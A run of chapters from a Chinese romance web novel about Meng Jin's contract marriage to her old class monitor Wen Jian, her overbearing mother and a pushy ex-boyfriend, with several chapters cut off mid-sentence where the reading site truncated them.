他转身坐到椅子上,垂眼看着自己刚刚摸过她额头的手,虽然已经退了烧,但女孩面容依旧憔悴,嘴唇脸颊都没有半点血色,眉头也紧皱着,像是晕倒都在惆怅什么。 闻见蹙眉哑然片刻,又忽地抬头:“孟瑾,你……” 孟瑾闻言看过来:“嗯?” “也没什么。就是你以后能不能对自己的身体关心一点,发烧都快39度了还不当回事,万一有个什么好歹那……那是闹着玩的吗?”闻见说完便转开头,不再看她。 余晖漫天,许是方才梦里的情景太过诡异,孟瑾心脏仍旧跳得厉害,她有些喘不过气。 手撑着身后枕头坐起,不动声色调整着呼吸。 闻见刚刚的语气不似平时那般随和冷淡,倒像是被她气得失了理智,显出了几分恼羞成怒来。 她抿了抿唇,虽然脑子里乱七八糟很多事情想不通,但总归是发了一夜的烧,又加今天一天水米未进,她现在是真没力气再想什么了。 “我感冒不严重的,也不知道为什么就发烧了。”女孩说着看过来,弯了弯眼睛,半开玩笑道:“班长,你生气了啊?嗯,让我猜猜。” “是因为我发烧,害你请假送我来医院,闻大教授今天的课没上成,在领导那儿挨了批,所以你不高兴了?” 闻见:“……” 什么跟什么嘛,他有时候真的快被孟瑾给气死了。 闻大教授没搭腔,但也没再给她脸色看。 他拿了个床头柜上的香蕉,把皮剥到一半,伸手递过来:“饿了一天,先吃点水果垫垫,一会去给你提粥。” 对方明明是气得不行,懒得多说,但在孟瑾看来,他就是被自己说穿了心事,不好意思再跟她这儿生气。 她得意的笑起来,一双水波流转的丹凤眼咕噜噜转。 闻见不明所以,也被她看得心虚,于是狐疑地抬头,问:“你笑什么呢?” 孟瑾不答,人还是笑得不行。 他捏了捏手里的香蕉,莫名感觉耳尖有些发烫,“唉,你别笑了。我去给你买点粥……” 话音未落,人就跑得没影了。 孟瑾看着他逃也似的背影,莫名笑得更愉快了:“哈哈哈,班长,你慢点儿走。” 随着病房门啪一声合上,她脸上明朗的笑容也渐渐消失了。 她也不知道自己为什么能一秒变脸。 她也不知道自己方才为什么要逗闻见。 抬眼四下打量一圈,没有发现除自己之外的别人,这病房看着像个单间,旁边也没有多余的床位。 她方才醒来时,看到床头柜上自己的手机来电提醒闪了两下,孟瑾不用看就知道是谁,她闭眼待了两秒,然后伸手拿过手机,直接回拨过去。 电话是打给唐婉清的。 唐婉清那边接的很快,几乎是盲音刚响她就接起来,先是噼里啪啦一阵输出,接着又说:“一天一夜不接电话,我以为你死外头了呢!那么了不起?结婚都能自己做主,还来理我这个糟老太太干嘛?干脆别管我,让我早些死了,我还不如早些死了去找你爸!” “我去,我去好好问问他,我问问他当年是怎么教你的,怎么就教出了你这样一个冷心冷意的白眼狼?我的命怎么就这么苦,连我自己身上掉下来的肉都不听我的,都觉得我烦?当年还不如是我被人勒死,你们活着,你们爷俩长长久久的活着!” 高中那会孟瑾被父母从老家接来安城,自她进门那天起,唐婉清就总抱怨,说她这也要花钱,那也要花钱,一个女孩子上什么重点高中,随便在老家混两年,拿个毕业正,赶紧找人结婚成家的要紧。 如今孟瑾终于主动找人把自己嫁了出去,她却还是做不到让唐婉清满意。 可能她们骨血里就不是一路人,因为她实在做不来唐婉清要求的那种无私孝顺。 电话那头的唐婉清还在哭哭啼啼说什么,孟瑾懒得听,干脆把手机丢到一边,自己闭目靠在床头。 点滴瓶里的药水一滴一滴输进孟瑾的血管里,冷得人全身骨头都麻掉了,却就是 7. 第 7 章 《白月光回国,求婚闻教授?》全本免费阅读 说起来,她与对方也有许久没见了。 孟瑾在意大利留学六年,后又南下在法国深造四年,今年夏天才刚拿到学位证,决定回国发展。 期间,她回黄家的次数屈指可数,继父黄前另有两个亲生女儿,长女黄素素与孟瑾同岁,但比她大了几个月,听说也常年不着家,似乎是个半职业摄影工作者。 小女儿黄婷婷,比孟瑾小两岁,人长得漂亮,社交面广,但就是性格比较张扬活泼,没有正经工作,没事儿就喜欢跟一帮红头发蓝眉毛的二世祖凑在一起飙车、喝酒,爬雪山,怎么刺激怎么来。 他们还有一句十字真言,说是:只要玩不死,嗨皮就不停。 孟瑾与对方向来井水不犯河水,一下看到推门进来的是她,竟然有些没反应过来。 不过也只是刹那而已,因为黄婷婷后面还有一位,那人不是别人,正是她那红头发、蓝眉毛,嘴唇边还打了颗亮闪闪唇钉的风/骚前夫哥,宋天宇。 三人六目相对,在没有开灯的宽敞病房里,一时竟显出几分诡异来。 孟瑾率先反应过来,掀了眼皮,道:“你们……找我有事?” 宋天宇抬手开了灯,将手里玫瑰花放到床头柜上,“嗯,没什么,婷婷说要来看你,正好我也在国内办点事,就一起来了。” 还没回话,旁边黄婷婷已经伸手拉过椅子坐下,一双眼睛上下打量着她,话说得随和:“二姐,我听妈妈说你跟别人结婚了,是真的吗?” 又是二姐又是妈的,不知道人还以为她们关系真那么好呢。 记得那年冬天唐婉清跟黄钱结婚三个月,孟瑾因学校宿舍漏雨,实在没地方去,便去黄家找她,想着借点钱在外面租个小房子住一段。 结果前脚阿姨才给孟瑾开了门,后脚黄婷婷就从楼上下来,她斜眼瞅着她浑身湿透的衣服,脸上的表情活似当年雪姨看依萍,话说的每个标点都阴阳怪气:“以为我们家是托儿所还是福利院啊?也不管自己穿的几块钱的地摊货就冲进来,地板踩脏了还得请阿姨擦!” 说完,又抬起眼睛看向旁边的唐婉清,“有什么话快点说,说完让她赶紧走——什么味儿呀真是的。” 孟瑾当时没有跟她说一句话,她也抬头看向唐婉清,借钱的事还没出口,对方就急急忙忙走过来,拉着她往门外去,嘴里不停叨叨:“你这孩子也真是,大半夜过来不知道跟人说一声,不知道打个电话啊?毛毛躁躁的,也不知道随了谁了!” 一边笑盈盈地跟黄婷婷说:“婷婷啊,你快上去吧,外面下着雨呢,你看多冷啊……那个,那个地板张阿姨就不管了,一会儿我擦哈,我擦。” 孟瑾一把甩开她的手,眼睛直直看着她,直到暴雨彻底模糊了她的面容和眼睛,唐婉清才从口袋里掏出五百块钱递过来,催促说:“雨下这么大,你杵在那干什么?赶紧拿上钱回去!这么大的雨,估计公交车都不开了。做什么事一点计划没有,我看你能得很,你飞回去!” 说着一把将她整个人推进大雨滂沱里,孟瑾没有拿她的钱,转身走了。 片刻,回神,孟瑾看着与记忆里判若两人的黄婷婷,很难想象,刚刚那声“二姐”是从她嘴里说出来的。 宋天宇并不知道两人之间的关系。 “这么晚了,你吃饭了吗?”他问孟瑾。 孟瑾抬头看去,笑了笑,说:“我老公去买了,应该很快就回来。” “你们,怎么知道我在这儿?” 听到“老公”一词,宋天宇脸上的表情立马变得丰富起来,他咬了咬牙,把情绪咽回去,然后提醒她:“我想查什么不是难事。” 旁边的黄婷婷立刻接话:“就是啊,我宇哥什么实力你不知道吗?” “宇哥?这么说你们还没在一起啊,”孟瑾说着自顾自点了两下头,真心惋惜道:“你俩这一天天成双入对,好的跟一个人似的,我以为他一早就跟你求婚了呢。” 黄婷婷:“……” 她抿了抿唇,张嘴想说什么,想起旁边的宋天宇,又忍回去了。 “小瑾,你说什么呢?我跟婷婷只是朋友,你不是不知道!或者你是因为误会我们,才跟那个书呆子结婚的?”装了两分钟绅士的宋天宇像是到了极限似的,他抬头看她,眼角眉梢满是上位者的优越。 孟瑾看着眼前男人一贯高高在上,优越感爆棚的嘴脸,忽然觉得自己有些可笑。 她想:自己似乎也不欠他什么吧,怎么一不留神就忍了他这么多年呢? 两人初见是六年前,全程都是唐婉清一手安排,那时她还在学校住宿,身边追她的男生不少,但却没有他喜欢的,唐婉清安排他们见了两次,什么意思大家都明白,孟瑾自己没有喜欢的人,加上那时候的宋天宇也是标准的优质男大,幽默风趣,体贴浪漫。 一来二去,大家便默认了俩人情侣的关系。 起初,宋天宇对她还算上心,隔一周他会来学校接孟瑾,或是看电影吃饭,或是找他的朋友玩,但是很快,他找她就有了目的性,有时是带她去酒吧拼酒,有时则是纯粹把她当成花瓶,带着她出入各种风月场所。 还有他与黄婷婷不清不楚的关系,孟瑾不止一次提出分手,可是宋天宇动辄就拿出两家公司的合作作为要挟,还有唐婉清有事没事的哭诉抱怨,孟瑾稀里糊涂就忍了这些年。 如今再想这一路走来的肿肿,她心中只觉可笑荒唐。 孟瑾明白对方来此的目的,不过是被她毫无 8. 第 8 章 《白月光回国,求婚闻教授?》全本免费阅读 话音落下,他又抬头看来,浅褐色的眼眸干净纯粹,亮亮的,仿佛闪着光:“先吃饭吧,不然一会都凉了。” 孟瑾定定看着闻见,眼里忽然闪过一抹淡笑,心里想,要是以前在学校,他肯定不会跟她讨论有关谈恋爱的话题,也不会像现在这样,这么坦诚从容地,像朋友间的玩笑般随口答她说:是因为闻女士。 果然就像他说的:喜欢过后就只剩下怀念了。 怀念,怀念只是他自己的事,自然不需要在她面前小心翼翼,事事谨慎。 孟瑾点头一笑,张嘴吃一口粥,颗粒感饱满的苡仁,虾仁鲜香爽口,还放了一点红豆,是她喜欢的味道。 “谢谢班长。”她笑一下说。 “没事,不用跟我客气。” 接着又说:“抱歉,刚刚路上有点堵。” 孟瑾愣了一下,反应过来他说的是方才宋天宇两人来找她的事,又摇瑶头:“没事,我自己能应付的。” …… 次日大早,天晴风高,道路两旁成片的梧桐叶儿晶莹剔透闪着光,车辙路过,还能嗅出昨晚暴雨留下的味道。 孟瑾在医院简单洗漱后,本想直接打车去工作室,不料一抬头却看到早上才去上班的闻见又回来了。他把车缓缓停到她面前,伸手推开副驾车门,抬头道:“先上车,去吃点东西吧?然后再送你去工作室。” 孟瑾点头上车,俩人谁都没有主动说话,车厢里的气氛略显沉闷。 安静半晌,她又突然想起什么般,寻了些话题扭头看过去,说:“不对啊。” “班长不用上班么?”孟瑾看着他精致立体的侧脸轮廓,因为闻见昨晚执意要留在医院,便在椅子上对付了几个小时,可能没有休息好,这会面容也显出几分疲惫来,“你昨天就请假没去上班,今天怎么又跑路了?” 闻见闻言抽空看她一眼,没忍住好笑道:“听小孟老师这儿意思,我都不能请假休息两天么?” “再说,我又不是工作狂,我也有年假啊。” 孟瑾想说自己不是那个意思,反应过来他刚刚叫自己“小孟老师”,一下觉得脸有点热,便匆匆结束了话题:“……我不是那个意思。” “嗯,我知道你不是,开个玩笑而已,不用在意。”他抬头看着前方一言难尽的路况,心情看着反倒还不错。 孟瑾点头,没再说。 好一会儿,她又忽地想起来,转头问他说:“班长,你昨天见到旺财了吗?我都好多年没见它了,它家那店还在学校吗,还是已经搬出来了?” “嗯……旺财已经不在了,但是它家店还在,已经搬出学校了,就在我们家附近的东华街上。”他想了想,又补充说:“对了,福袋还是它女儿呢。” 车内陷入短暂沉默,几秒后,孟瑾点头;表示自己知道了。 这是自外婆和孟强东离世后,她又一次这么真切的感受到无力,深深的,失去后的无力。 斑驳的阳光影影绰绰,她抬手遮住眼睛上刺目的光,轻轻侧头靠到车窗上,似乎过了好久,闻见才听见一句低低的:“放首歌吧。” “想听什么?” “随便放一首。” 闻见点头,果真就随便放了一首。 车子还是一直在路上走着。 …… 晚上下班,闻见又开车来工作室接她,回家跟福袋玩了一会,孟瑾起身准备回房间,闻见又抬头看过来:“孟瑾,要不加个微信吧,万一有事也方便点。” 孟瑾点头,主动扫了他。 名字简单一个逗号,头像是福袋气呼呼蹲在地上,眼睛直直瞪着他的照片。 孟瑾盯着看了两秒,没有给他备注,没有什么特别的原因,只是因为,她天生不喜欢给人备注。 至少在不十分了解一个人的情况下,孟瑾不会用自己的主观意识给对方贴任何标签。 进房间过了没一会,闻见给她发来一句,很简单的:记得吃药。 她放下手里的小刷子,抽空看了一眼,回道:好。 然后手机显示的是“对方正在输入”,过了半分钟,又变回逗号。 闻见最终没再说什么。 孟瑾也不知道他原本想说什么,但也没有主动问,放下手机,又干活去了。 接下来的一周多,两人又回归了各自忙碌的生活,只是闻见还是每天下班去工作室接她,早上也会顺便给她留一份早餐。 直到农历十月将至,温度越发寒凉,安城淅淅沥沥的雨水也变成飘然而下的雪。 这天下班,孟瑾往脖子里裹了一条淡黄色的手织围巾,又把黑色皮质大衣和手套穿上,抬手才要推门,外面的宋天宇就抢先一步开门进来。 他侧身往门框上一靠,弯了弯眼睛,笑道:“小瑾,你闹也闹了,气也出了,差不多就行了呗。” “??” 孟瑾抬头看他一眼,眼神里带着询问和疑惑。 她不明白对方这话是什么意思,也懒得费力周旋,干脆抬手开灯往旁边椅子上一坐,等着他往下说。 宋天宇滔滔不绝自顾自说了半天,结果孟瑾却是一直很平静地坐着,仿佛完全没有听见一样。 他知道对方性子倔,自己再说软话也没有用,索性沉下脸来把话说明白:“不是……你是疯了吗?竟然会跟那样的人结婚!你就算存心给我难堪,也好歹找个体面点的人吧!?” “什么叫,体面点的人?”孟瑾说着抬头,眼眸直直盯着他的眼睛,一字一顿道:“宋天宇,我记得我警告过你,说话尊重点,你听不懂?” “呵,”宋天宇眯缝着眼睛冷笑一声,弯腰爬到她面前的桌子上,嘴里的酒气重得简直要把人熏晕:“小瑾,我倒记得你说过另一句,尊重要分人的,你觉得就你那个天天开一破大众,还自我感觉挺良好的书呆,唔……老公,也配让我尊重么?” 话没说完,孟瑾的巴掌已经落到他脸上。 她掀起眼皮瞅着他,话说得平静:“宋天宇,你最好别惹怒我,否则——你家那生意怎么做起来的,你应该比我清楚,嗯?” “砰”一声闷响,因为她手上戴着手套,声音并不清脆,闷闷的,有些恍惚。 外头霓虹闪烁,车马喧嚣,扑簌簌的六角形雪花随风落下,仿佛夏夜里的飞蛾义无反顾,不问缘由。 头顶刺目的白光直直打下来,照得眼前人本就精致立体的眉眼更显疏离冷淡,与周遭种种含蓄内敛的瓷器、壁画、白手套,小刷子显得十分格格不入。 宋天宇盯着她,似乎很久,实际上也不过五六秒的样子,他用舌头抵了抵腮,然后蓦地伸 9. 第 9 章 《白月光回国,求婚闻教授?》全本免费阅读 在孟瑾的印象里,闻见并不是个爱主动找话的人。 上学那会倒是有几次,主要也是因为她上课开小差不集中注意,老师派他来跟她谈。 记得她转班没多久,有一次闻见不知为什么又来后排找她,见她一个人蹲在后班门外,也没学习,也没在跟别人玩。 闻见就捏了捏自己的手指,然后也蹲下来,在旁边离她差不多一米的位置,他看着她,也不说话,仿佛过了好一会,天空似有若无开始飘雪,他才说:“一会下课去找旺财玩吧,我跟你一块。” 她有些意外地回头看他,孟瑾没想到,他开口第一句竟然不是学习的事。 闻见说完站起身,因为上课铃响了,他要回班去,“这个给你,我昨天买的。” 他将一个插着耳机的随身听放到旁边,没再说什么,转身走了。孟瑾当时盯着看了好一会,直到一拥而上的同学从她身边跑过,才伸手拿过闻见放在旁边的随身听,因为她忽然意识到,东西放在地上很容易会被踩坏的。 想到这里,孟瑾又抬头看着透过后视镜与她对视的闻见。 她看着他眼里面色发白,眼睫湿漉漉的自己,忽然笑了:“因为,是我让它去咬你的。” 她说的是刚刚闻见问的,旺财为什么突然咬他的事。 “我就知道旺财最听你的。”闻见说。 “那是因为你不陪它玩。”孟瑾转头看着车窗。 “我以前有点怕狗来着。” 孟瑾:“嗯,我知道。” 车厢里再次陷入沉默。 闻见打开车载音乐,放了首林俊杰的《江南》,舒缓的钢琴配乐,加上男歌手娓娓道来的抒情演唱,恍惚间,仿佛闭上眼睛她就回到真江南。 过了一会,他又抬头看着后车镜,说:“我记得你之前喜欢听这首歌。” 孟瑾呆了几秒,鼻头忽然有点酸酸的感觉。 她没就着他的话说,而是说了一句很奇怪的:“喜欢什么不重要,重要的是要帮得上她们家,她老公的忙。” 闻见愣了一下,也不知听懂她的话没有。他只说:“不用为任何人,你只要为你自己就好。” 孟瑾看着他,不知道自己抽的什么风,莫名其妙又说一句:“我知道,所以她想让我嫁给宋天宇给她争面子,我就随便找个人结婚,就不听她的。” 闻见偏头看了她一眼,片刻,又转回去,说:“嗯,就不听她的。” 孟瑾:“……” 闻大教授这是拿错剧本了么,怎么突然不按套路出牌了? 她眨眨眼,没再接话了。 直到一路开到家附近的旺财便利店,外面风雪很大,店里却是人满为患,比在安城市一中的时候热闹多了。 孟瑾与闻见并肩走进来,去到窗边,找了个安静的位置坐。 这里说是便利店,但里头早就不卖学生时代的那些小玩意了,放眼望去,几乎全是重麻重辣的烧烤、火锅、关东煮,除了戴着白色头巾的老板会雷打不动的给每桌客人送一包她家那款招牌棉花糖,其他的,已经全然没了记忆里的味道。 孟瑾看着店里闹哄哄的场景,有两个高中生一前一后进来过生日,男生戴着无框眼镜,长得瘦而高,他小心翼翼将点上蜡烛的蛋糕捧到小伙伴跟前,跟她说无论什么时候,只要她说一句,他就会一路飞奔出现在她面前。 孟瑾眨眨眼睛,忽然想起来,她在那个女生那么大的年纪,大概也听过差不多类似的话,是闻见说的。 然而一晃这么多年,当初那少年站在滂沱大雨里许下的诺言,到了如今也只剩下怀念了。 就算他真的能站在原地等一个人很多年,那个人也不应该是她,因为爱与被爱都是纯粹的天赋物,而她生来就不具备。 几乎是同一时间,对面的闻见也抬头看来:“宋天宇来找你是……想复合么。” 孟瑾还是看着闹哄哄的便利店,但是眼前的场景已经不再清晰,变得模糊起来。 安静须臾,她扭头看来,眼睛明显比方才在车上更红了,说话声音却清明:“应该是吧,我没太听,我知道他是什么人,再怎么,也不能在一个人身上摔两次。” 闻见手里的筷子砰一下,无意识掉到桌子上了。 孟瑾安静看着他,过了一会,又低头往锅里加了几个紫薯丸子。 盯着咕噜咕噜网上冒的热气,继续说:“我跟他大一就认识了,刚开始他对我是挺好的,可是后来他就变了。我妈说过日子没有不吵架的,牙齿还会碰嘴唇呢,让我忍一忍也就过去了,可是我不想忍,不爱就是不爱了,我装不出来。” 恰好这时友服务员过来送水,小姑娘看着孟瑾一身精致妥帖的御姐打扮,头发也是精心烫染过的——爱美之心人皆有之,虽然有些害羞,但她还是鼓起勇气,猜测着跟她搭话:“姐姐,您抗糖吗?要不要我帮你把咖啡换成无糖的?” “不,糖浆多一点。” 小姑娘红着脸点头,一边同手同脚给她倒咖啡,结果实在太紧张,一个没注意,她手里的杯子就打翻了。 好在对面闻见眼疾手快,几乎是杯子打翻的刹那,他已经反应过来,一把接住了,滚烫的咖啡液顺着他修长的指尖一滴一滴流到地上,似乎还在冒热气。 对面的孟瑾光是看着都觉得疼,她一把抓起旁边的水杯和纸巾迅速给他擦洗,一边急急问道:“班长,你怎么样!要紧吗?” 站在旁边的服务员小姑娘这才回过神,她咬着嘴唇一个劲儿鞠躬道歉,吓得连眼睛都不敢抬。 孟瑾看她是个十来岁的小姑娘,估计是边上学边打工的学生,本着多一事不如少一事的原则,便说了句没事,不用太自责的话,打发她离开了。 等人把桌上地板全都收拾干净,又去拿来棉签药膏交给她,一步三回头地彻底走远,孟瑾才又听到闻见的声音。 “你大一就喜欢他了吗?”不知道是不是刚刚被烫的太疼了,闻见的声音很轻很轻,还带着一点鼻音,听着像是很委屈的样子。 孟瑾无意识咬咬下唇,不想回答。 这是她从小的习惯,烦躁的时候就会咬嘴唇。 两人安静对视,几秒后,孟瑾捡起桌子上的棉签和药膏,转移话题似的说:“唔,我帮你上药吧。” 闻见眼睛直直盯着她,不知多久,他才扭头看向窗户,攥成拳头搁在桌面上的手也摊开了:“嗯……谢谢。” 他身体坐得笔直,侧着脑袋,上药的时候,孟瑾看到他的手指在微微发颤,很细微的举动,但又好像连带着他整个身体都在发 10. 第 10 章 《白月光回国,求婚闻教授?》全本免费阅读 孟瑾被他一句话问的愣在原地。 在她的认知里,自己与对方只是许多年没见,彼此比陌生人熟悉一点的同学关系。 至于前几天突然提出的闪婚,也不过是为了应付各自家里,想出来的权宜之计。随着相处,又从同学关系过渡成住在一个屋檐下,碰面会说两句话的朋友而已。 她不理解两人这种关系为什么要去见家长,要是换做平时,她可能会直接问一句:我应该没必要跟你去见家长吧? 或者委婉一点地说:我过去估计会穿帮吧? 但她又想了想,以闻见妈妈闻女士那种雷厉风行的做事风格,若是明天自己不去,估计晚上她就得杀过来,跟上次一样,打他俩个措手不及——到时候就更容易穿帮了。 她思忖片刻,说:“好,那我明天上午抽时间买点东西,下午过去可以吗?” 闻见像是没反应过来,他愣愣看着她,半晌,才点头说了一个字:“行。” 说完,转身走了。 孟瑾:“??” 行是什么意思啊,又不是她非要去的。 她不明白他是什么意思,但也懒得再管。刚要转身回屋,闻见又蓦地扭头看过来,问她:“就你那个房间——” 孟瑾回头:“嗯?” “没有,我是说你那个房间是不是太冷了?要不你睡主卧吧。” “不用,”她说:“班长不是说明天帮我修一下么,一晚上没关系的。” …… 次日早上,孟瑾开车把他送到学校,期间两人也没聊什么,就是闻见时不时嘱咐一句去他家不用买东西的话,孟瑾嘴上敷衍地答应,全当照顾伤员了。 闻见下车后,她抬头看着门口巨大的“安城大学”四字牌匾,又垂眸看了眼自己搭在方向盘上的手,轻轻吐了一口气,把车开出去了。 ——当年她差一点就考上安城大学了。 到了工作室门口先掏出手机给宋天宇拍了一张照片发过去。 接着又敲了一句消息:你昨晚摔的这只碗是王老板的。 宋天宇半晌甩过来一句语音:“放心,用不着你陪。” 孟瑾看了一眼,确实放心不少。不然要是真让她陪,那估计还得跟他打官司,简直想想都觉得麻烦。 埋头在工作室忙了一阵,才想起来今天要去闻见家里的事情,她迅速拿上手机和包去附近的商场买东西,心里忍不住吐槽:上次还会让他妈过来的时候记得提前说一声,怎么这会儿自己要过去,就不知道提前跟她说一下呢! 还好是合约婚姻,否则她要真嫁这么一个人,估计下半辈子要愁死…… 话说,人为什么一定要结婚呢?自己一个人想干嘛就干嘛,不想上班就躺着,想睡到几点就睡到几点,吃口泡面也能活。 或者像她之前那样,没事就坐个公交去城市各处转转,拍拍照、发发呆,晒晒太阳一天就过去了,真的不好吗! 想到这,孟瑾又掏出烟和打火机,无意识在手里转着,商场客流量集中,不能抽烟,她拿在手里心情也能美丽许多。 楼上楼下转了几圈,还是没挑到合适的礼物,她从小就不擅长和长辈相处,也不知道父母那一辈的人都喜欢什么,甚至每次去唐婉清家里,她都因为不知道要买什么,而直接把买礼物的钱换算成红包发过去。 抬头看着商场里乌泱泱的人来人往,简直恨不能随机找个阿姨帮人把单买了,然后虚心采访几句她买的都是什么,自己也好照葫芦画瓢的跟着买一点。 “嘿,小孟老师近来可好?”身后忽然一道清脆女声响起。 孟瑾抬手摘下墨镜,慢悠悠扭头看过去:“不好不好,陈太医快来救驾!” 陈朵朵闻言大笑,还不忘伸手扶她胳膊:“得勒得勒,女王殿下!” 两人是打小的交情,后来又一起转学来了安城,关系好的跟一个人差不多。 陈朵朵身上穿着纯白色的连体卫衣,脚上一双黑色马丁靴,齐耳的短发正好修饰脸型,看着可可爱爱的,小小一只,跟十几岁的青春女大没有任何区别。 “陈大画师进来在哪高就来着?”孟瑾跟她挽着胳膊,边往前走边说:“我打了你半个月的电话打不通,以为你进原始森林当猴王去了。” 陈朵朵拿起柜台上的样品香水在试香卡上喷了点,“好闻不?” 边点头答她:“差不多,我是去西藏进了原始森林,我拍了好多照片呢,改天给你看哈, 11. 第 11 章 《白月光回国,求婚闻教授?》全本免费阅读 孟瑾闻言一愣,想起高中那会她与闻见的相处模式,那时,孟瑾坐在班里最后一排,不爱学习,也不爱跟人玩,没事就喜欢一个人待在角落发呆。 但是闻见不一样,他学习好,性格好,长得帅,也没有什么特别叛逆的不良爱好,家里还有个开明有趣,半点不古板的妈,在学校也是班主任“雪花”面前的大红人。 所以在很多方面,他们其实是两个极端,闻见是所有人眼中的天之骄子,未来可期,而她……只想快点长大,离开这里。 因此,虽然两人住在一个小区,又同在文科(8)班,但孟瑾却是很少跟他有什么接触,倒是闻见,为了完成雪花交代的帮“她把成绩保持在及格线以内”的任务,就总有事没事地跟着她,往她跟前凑。 上课看着、下课跟着、吃饭跟着,背书也跟着,就连孟瑾周末偶尔跟陈朵朵出去玩,他都要拿个书坐在公交车最后一排,远远地跟着。 要不是两个差距实在太大,估计老师都要怀疑他们是在早恋了。 孟瑾也不知道他哪来那么大的耐心,有时候她心情不好,就会故意给他甩脸,还会叫旺财去咬他。 因为闻见怕狗这件事情,几乎是全班众所周知的——可是即便如此,闻见还是雷打不动跟着她,陈朵朵也是从旺财那事儿后,才知道孟瑾说讨厌闻见真的不是在开玩笑。 有次陈朵朵没忍住好奇,八卦兮兮把人拉到一边,假装很严肃地问:“闻大班长,你为什么那么喜欢跟着我们家小瑾?你该不会是喜欢她吧!?” 闻见没说是也没说不是,他只是用力攥紧捏着语文书的手,然后很认真地问她:“是……孟瑾让你问的吗?” 陈朵朵觉得有戏,连忙点头:“是啊,你快说。” 结果他只是扭头看了一眼在旁边梧桐树下低头发呆的孟瑾,然后一句话没说,转身走了。 陈朵朵:“……?” 难怪孟瑾说讨厌他,这人真不正常啊。 …… 自那以后,陈朵朵对闻见的印象就一直不太好,这会突然听到孟瑾的结婚对象竟然是他,就还挺意外的。 所以她刚刚才没忍住问他俩怎么凑到一块去了。 孟瑾低头一笑,说:“也不为什么,不就是搭伙过日子吗,跟谁都一样。而且——” 陈朵朵等了半天没等到下文,又忍不住插一句嘴,“而且什么?” “他三观至少是正常的,”孟瑾说:“脾气也好,平时都很照顾我,也不跟我吵架,不是挺好的?” 陈朵朵哼了一声,不太认同她这话:“就他,上学那会我问他是不是喜欢你,都不理人,还三观正呢,我看他就是又自大又没趣,一点都不招人喜欢。” “那是因为你说是我让你问的啊。” 陈朵朵端起桌子上的咖啡抿一口,有点没明白:“嗯,那又怎么了?” 孟瑾弯起眼睛看着她,好笑道:“如果是你整天被暗恋对象捉弄,他还毫不拖泥带水拒绝了你所有的试好,之后又派他兄弟来问你是不是喜欢他,你是什么感觉?” 陈朵朵牙疼地“撕”了一声,说:“……如果是我,我会找个坑把他埋了。” 孟瑾:“啧,所以我没被活埋,就说明人家三观比咱正啊。” 陈朵朵静静看着她,安静须臾,又正经下来,忽地认真说:“小瑾,咱们要为自己活,别走当年的老路。” 当年考大学的时候,孟瑾就是因为外婆和孟强东的意外离世心疼唐婉清,才放弃了自己原本的考古学专业,跟着她去了国外,后来又为了她,跟花花公子宋天宇在一起那么久,几乎是众所周知的天天在受气。 陈朵朵不是她,孟瑾受了那么多委屈,她也只是心疼,却做不到百分之百的感同身受,加上对方常年不在国内,自己工作又没个规律,不能时时陪在她身边,保护她、给她撑腰。 所以在孟瑾做决定之前,她只能以一个旁观者的视角,认认真真跟她说,别走以前的老路,别再为别人委屈自己,要好好地为自己活。 孟瑾看着她,眼神坚定,眸子里浮起一抹浅笑:“嗯,我知道。” 之后,两人又回去商场,陈朵朵帮她挑了几样带去闻见家的礼物,然后去楼下的大排档解决午饭,吃饱喝足,在街上逛了一圈,看她心情似乎好了些,陈朵朵才说起要赶飞机回南方的事。 孟瑾知道她家里着急,也没出言挽留,点点头,开车送她去机场,嘱咐一句路上小心,回到车里抬头看一眼,天都快黑了。 往回开的时候,孟瑾打开车载音乐放了一首歌,随便一首不知道什么名字,节奏感有点强,听着听着,又忽地想起来:陈朵朵家里同样继父继妹一大堆,但是因为有她妈妈护着她,给她撑腰,在家的日子过得也挺自由,至少没有人敢当面欺负她。 …… 闻见昨天脑子一抽,说他妈要请孟瑾去家里吃饭,但其实闻女士压根就没提过这事,不是她不喜欢孟瑾那孩子,而是闻女士一贯秉承的生活状态就是:散养孩子富养己。 何况,闻见都是快三十岁的大小伙子了,她还管他那么多干嘛,只要他乖乖听话给自己找个儿媳妇,没事打打电话聊聊天,别说是不回家吃饭,就是他想租个飞船去月球上住,闻女士也没意见啊。 这不,闻女士前脚才被她宝贝儿子从瑜伽中心叫回来,连体短裙都没来得及换,门口就传来窸窸窣窣一阵钥匙开门的响动,紧接着,手里拎着大包小包的闻见就到了她跟前:“哎,妈,您今儿这速度怎么比我还快?” “哦,我急着回来看我儿媳妇啊,儿媳妇呢,怎么就你一个人?”闻女士说着低头看一眼他手里的菜,悠哉悠哉坐回沙发上了:“哈,提前说一声哦,我可不会做饭,谁买的谁解决。” 闻见低头笑了声,钻进厨房洗菜去了。又在哗啦啦的水流声里说:“啧,想见儿媳妇又不愿意做饭,那儿媳妇过来吃什么呀?” “不用闻教授操心,你妈我有钱呢。” 接着又问:“哎,你先别弄了,儿媳妇到底来不来啊?” “来,我刚打电话了,她说马上就到。”闻见说:“我这不是先来看看,您这锅灶能不能开火嘛。” 闻女士闻言走过来,翻腾着他买的东 12. 第 12 章 《白月光回国,求婚闻教授?》全本免费阅读 冬日傍晚楼道里的风有些大,呼呼啦啦浮起她耳侧一缕烟灰色长发,走廊里的声控灯随着脚步亮起,纯白的灯光直直洒下来,照得眼前姑娘的鼻尖有一点红,不知道是太冷了,还是因为方才的事情还在生他的气。 “我妈买了好多菜呢,说要亲自下厨招待你。”闻见看着她轻轻眨了下眼睛,随即快步追过去,伸手挡下将要关上的电梯,走进去站孟瑾旁边了。 孟瑾没说话,也没转头看他,像是完全没听到。 闻见不经意捏了捏自己的手指,也不知道还能说什么。 他从小就这样,不擅长跟人相处,也不会说什么好听的话,用他妈闻女士的话说,他能找到孟瑾这么好的姑娘做老婆,简直就是老天开眼,八辈子修来的福气。 上学那会也是,喜欢又不敢说,眼睁睁地看着她高考完要出国,他想挽留或者跟她一起去,可是他找不到理由,也没有合适的身份。 几乎是同一时间,他爸爸又在一次执行任务时不幸离开了,亲戚朋友没有一个人知道,都以为闻女士是离了婚的单亲妈妈,甚至因为身份特殊,他爸爸连个墓碑都没有,他妈心里难过,嘴上却连一句抱怨的话都没说过,可是情绪憋在心里,不说总要出问题。 后来没多久,闻女士就生了一场很严重的病,整个人都瘦的脱了相,医生说她这是受得刺激太大,又没有发泄的途径,自己给自己憋出来的病,以后千万不能再让她动气。 少年听完点点头,跟医生道了谢,然后关上门出来了。 他一个人静静站在医院空旷的长廊里,他知道孟瑾那天要坐几点的飞机,知道她要去的国家和城市,甚至知道她改志愿后报的哪个学校,什么系。 那些关于她的所有,闻见都打听的一清二楚,可是……他要留下来照顾妈妈,他不能过去找孟瑾,不出意外的话,他们这辈子再也没有可能了。 